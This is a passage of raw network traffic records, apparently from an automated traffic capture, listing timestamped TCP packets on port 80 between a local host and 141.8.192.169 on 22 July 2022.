                                                                                                                                                                                                      Jul 22, 2022 17:01:30.977264881 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:30.977308989 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:30.977368116 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:30.977376938 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042246103 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042282104 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042298079 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042320967 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042345047 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042346001 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042366028 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042370081 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042393923 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042418957 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042443037 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042444944 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042453051 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042457104 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042469025 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042474985 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042495012 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042521000 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042526007 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042534113 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042546034 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042571068 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042577982 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042583942 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042598009 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042623997 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042628050 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042630911 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042654037 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042670965 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042678118 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042678118 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042701006 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042701960 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042712927 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042727947 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042769909 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.042778015 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106010914 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106053114 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106077909 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106096029 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106102943 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106126070 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106132030 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106136084 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106148958 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106159925 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106182098 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106187105 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106189966 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106214046 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106239080 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106261969 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106264114 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106291056 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106319904 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106331110 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106340885 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106348038 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106348038 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106359005 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106378078 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106396914 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106406927 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106431961 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106457949 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106458902 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106467009 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106486082 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106506109 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106512070 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106514931 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106519938 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106539965 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106555939 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106571913 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106596947 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106618881 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106621981 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106631994 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106640100 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106650114 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106674910 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106676102 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106710911 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106719971 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.106759071 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.107394934 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170018911 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170043945 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170062065 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170078039 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170094967 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170156002 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170219898 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170231104 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170249939 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170262098 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170280933 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170311928 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170320034 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170339108 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170376062 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170460939 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170470953 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170480013 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170521021 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170568943 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170578957 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170579910 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170612097 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170663118 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170681953 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170706034 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170792103 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170808077 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170860052 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170862913 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170871019 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170877934 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170909882 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170916080 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170934916 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170958042 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170968056 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.170994043 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.171001911 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.171029091 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.171051979 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.171097040 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.171142101 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.171150923 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.171169996 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.171176910 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.171224117 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.233572006 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.233598948 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.233616114 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.233633041 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.233649969 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.233669043 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.233700037 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.233716965 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.233736992 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.233768940 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.233810902 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.233825922 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.233930111 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234026909 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234428883 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234654903 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234677076 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234714985 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234716892 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234731913 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234740019 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234767914 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234801054 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234807968 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234817028 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234821081 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234853029 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234869003 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234909058 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234926939 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234942913 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.234967947 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235028982 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235037088 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235048056 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235068083 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235084057 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235117912 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235122919 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235136032 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235194921 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235202074 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235209942 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235228062 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235244036 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235260963 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235276937 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235299110 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235315084 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.235322952 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.297383070 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.297413111 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.297436953 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.297466993 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.297485113 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.297493935 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.297513008 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.297518015 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.297523022 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.297547102 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.297569990 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.297600985 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.297607899 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.297698021 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298127890 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298156977 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298182011 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298206091 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298218012 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298233986 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298237085 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298242092 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298283100 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298285961 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298290968 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298307896 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298333883 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298387051 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298393011 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298418045 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298444986 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298469067 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298481941 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298496962 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298522949 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298530102 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298537016 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298548937 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298576117 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298580885 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298588037 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298600912 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298631907 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298635960 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298665047 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298691034 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298691034 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298697948 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298717022 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298728943 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298744917 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298744917 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298773050 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298799992 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298806906 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.298877954 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.360896111 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.360939980 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.360965014 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.360990047 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.361012936 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.361038923 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.361069918 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.361095905 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362163067 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362278938 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362308025 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362358093 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362368107 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362370968 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362381935 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362411976 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362435102 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362535000 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362562895 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362586021 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362592936 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362592936 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362622976 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362649918 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362663031 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362668991 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362679005 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362705946 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362757921 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362762928 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:31.362793922 CEST8049764141.8.192.169192.168.2.7
